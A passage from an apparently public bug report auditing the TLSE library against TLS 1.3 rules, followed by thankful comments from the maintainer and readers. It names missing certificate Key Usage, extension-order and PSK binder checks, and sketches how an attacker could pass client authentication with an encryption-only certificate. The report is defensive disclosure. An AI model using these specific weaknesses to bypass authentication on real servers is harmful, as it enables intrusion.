The certificate MUST allow the key to be used for signing (i.e., the digitalSignature bit MUST be set if the Key Usage extension is present) with a signature scheme indicated in the client's "signature_algorithms"/"signature_algorithms_cert" extensions (see Section 4.2.3).
Based on the rule description, if a certificate contains the Key Usage extension, the digitalSignature bit must be enabled (indicating that signing with the private key is allowed). This is because TLS 1.3 requires the server to sign handshake messages using its private key (e.g., the CertificateVerify message). If the certificate does not permit signing, the handshake will fail. Additionally, the certificate's signature algorithm must match the algorithms supported by the client.
Upon auditing the relevant code, we found that the TLSCertificate structure does not store the Key Usage information, making it impossible to verify the digitalSignature bit during subsequent validation. Furthermore, in the tls_parse_certificate function, the code directly marks the certificate as valid (valid_certificate = 1) without performing the additional validations required by TLS 1.3:
if (is_server) {
valid_certificate = 1;
context->client_certificates = (struct TLSCertificate **)TLS_REALLOC(
context->client_certificates, (context->client_certificates_count + 1) *
sizeof(struct TLSCertificate *));
context->client_certificates[context->client_certificates_count] = cert;
context->client_certificates_count++;
} else {
This bug may lead to certificate misuse and allow attackers to bypass authentication in specific scenarios, as the Key Usage Extension is a critical policy control set by the Certificate Authority (CA) to restrict the purposes for which a key can be used.
Suppose an attacker manages to obtain or create a certificate that is otherwise valid (not expired, signed by a trusted CA) but explicitly intended for a different purpose, for example, encryption-only (key encipherment) rather than signing (digital signature). With this bug, a server utilizing TLSE may incorrectly accept this non-signing certificate to perform operations that require signing capabilities, such as client certificate authentication in TLS 1.3. In doing so, the attacker effectively circumvents the server’s intended policy by using a certificate that was never authorized for this purpose.
We therefore recommend that this be fixed as a matter of priority.
Violation16: Missing Validation for "signature_algorithms" Extension in Server's Certificate Authentication
If a server is authenticating via a certificate and the client has not sent a "signature_algorithms" extension, then the server MUST abort the handshake with a "missing_extension" alert (see Section 9.2).
We have identified that the server does not perform the necessary checks for the "signature_algorithms" extension (0x0D) during certificate authentication. When processing the ClientHello extensions, the function tls_parse_hello recognizes extension 0x0D at lines 7144 and 7219 but lacks the logic to validate its presence.
Violation17:
Servers MUST check that the "pre_shared_key" extension is the last extension in the ClientHello and otherwise fail the handshake with an "illegal_parameter" alert.
The extension processing loop in tls_parse_hello (lines 7050–7229) lacks critical logic to: (1) detect the presence of the "pre_shared_key" extension, and (2) ensure that no subsequent extensions follow it. The code block for extension 0x29 (lines 7198–7201) only performs debug logging and continues processing additional extensions without verifying their position.
Violation18:
The "pre_shared_key" extension MUST be the last extension in the ClientHello.
The function tls_parse_hello processes the 'pre_shared_key' extension (type 0x29) but does not enforce the requirement for it to be the final extension in the ClientHello message. After handling the extension at lines 7198–7201, the loop proceeds to process subsequent extensions (via line 7228) without verifying that no further extensions follow, thus violating the TLS 1.3 specification.
Violation19:
There MUST NOT be more than one extension of the same type in a given extension block.
The function tls_parse_hello processes the pre_shared_key extension (0x29) but does not validate the binder value. If the binder is missing or invalid, the server fails to abort the handshake as required by the rule.
Violation20
4.2.5. OID Filters
For each extension OID recognized by the client, all of the specified values MUST be present in the client certificate (but the certificate MAY have other values as well).
We audited the rule and found that tls_parse_certificate does not verify whether all required values for the recognized extension OIDs are present when handling and storing client certificates. Specifically, although extensions such as SAN have been parsed (as shown in _private_asn1_parse), there is no logic to ensure that the client certificate contains all mandatory values for each recognized OID.
Others
Additionally, we have found that the following compliance issues appear to lack corresponding implementation. Currently, it seems that TLSE may not yet fully support functionalities and logic related to PSK, tickets, and other related features. To ensure completeness, we have listed these issues below but will not elaborate on specific details.
For PSKs provisioned via NewSessionTicket, a server MUST validate that the ticket age for the selected PSK identity (computed by subtracting ticket_age_add from PskIdentity.obfuscated_ticket_age modulo 2^32) is within a small tolerance of the time since the ticket was issued.
In order to accept early data, the server MUST have accepted a PSK cipher suite and selected the first key offered in the client's "pre_shared_key" extension.
The server MUST ensure that it selects a compatible PSK (if any) and cipher suite.
Prior to accepting PSK key establishment, the server MUST validate the corresponding binder value.
The server can determine the expected_arrival_time of the ClientHello as: expected_arrival_time = adjusted_creation_time + clients_ticket_age. When a new ClientHello is received, the expected_arrival_time is compared against the current server wall clock time; if the difference exceeds a certain threshold, 0-RTT is rejected, though the 1-RTT handshake can be allowed to complete.
When processing the pre_shared_key extension, if the binder value is not present or does not validate, the server MUST abort the handshake.
Waw, impressive! Thank you for the detailed report. I will try to solve most of them after September 1st - I'm wandering around in South America until August, 31. But this has to be the best bug report I've ever seen. Thanks, @songxpu !
very greate bug report which solved my confusions, thanks
Hello @songxpu,
I'm very interested in your report. May I ask how you discovered these violations? Was it through manual analysis, or by utilizing certain tools?
Thank you very much for your answer.
Hello @songxpu,
I'm very interested in your report. May I ask how you discovered these violations? Was it through manual analysis, or by utilizing certain tools?
Thank you very much for your answer.
Hi, thanks for your comment. These violations were detected by a tool we designed.
Hello @songxpu, 你好@songxpu, I'm very interested in your report. May I ask how you discovered these violations? Was it through manual analysis, or by utilizing certain tools?我对你的报告非常感兴趣。请问您是如何发现这些违规行为的?是通过手动分析,还是通过使用某些工具? Thank you very much for your answer.非常感谢您的回答。
Hi, thanks for your comment. These violations were detected by a tool we designed.你好,谢谢你的评论。这些违规行为被我们设计的工具检测到了。
Could you please let me know if your tools are open source, or if there are any related research papers?
Hello @songxpu, 你好@songxpu, I'm very interested in your report. May I ask how you discovered these violations? Was it through manual analysis, or by utilizing certain tools?我对你的报告非常感兴趣。请问您是如何发现这些违规行为的?是通过手动分析,还是通过使用某些工具? Thank you very much for your answer.非常感谢您的回答。
Hi, thanks for your comment. These violations were detected by a tool we designed.你好,谢谢你的评论。这些违规行为被我们设计的工具检测到了。
Could you please let me know if your tools are open source, or if there are any related research papers?
Our related paper is currently under review. If progress proceeds smoothly, we anticipate its publication next year. The corresponding tool prototype will also be released following the paper's publication. Additionally, regarding related work, I note that RFCAudit may serve as a useful reference for you.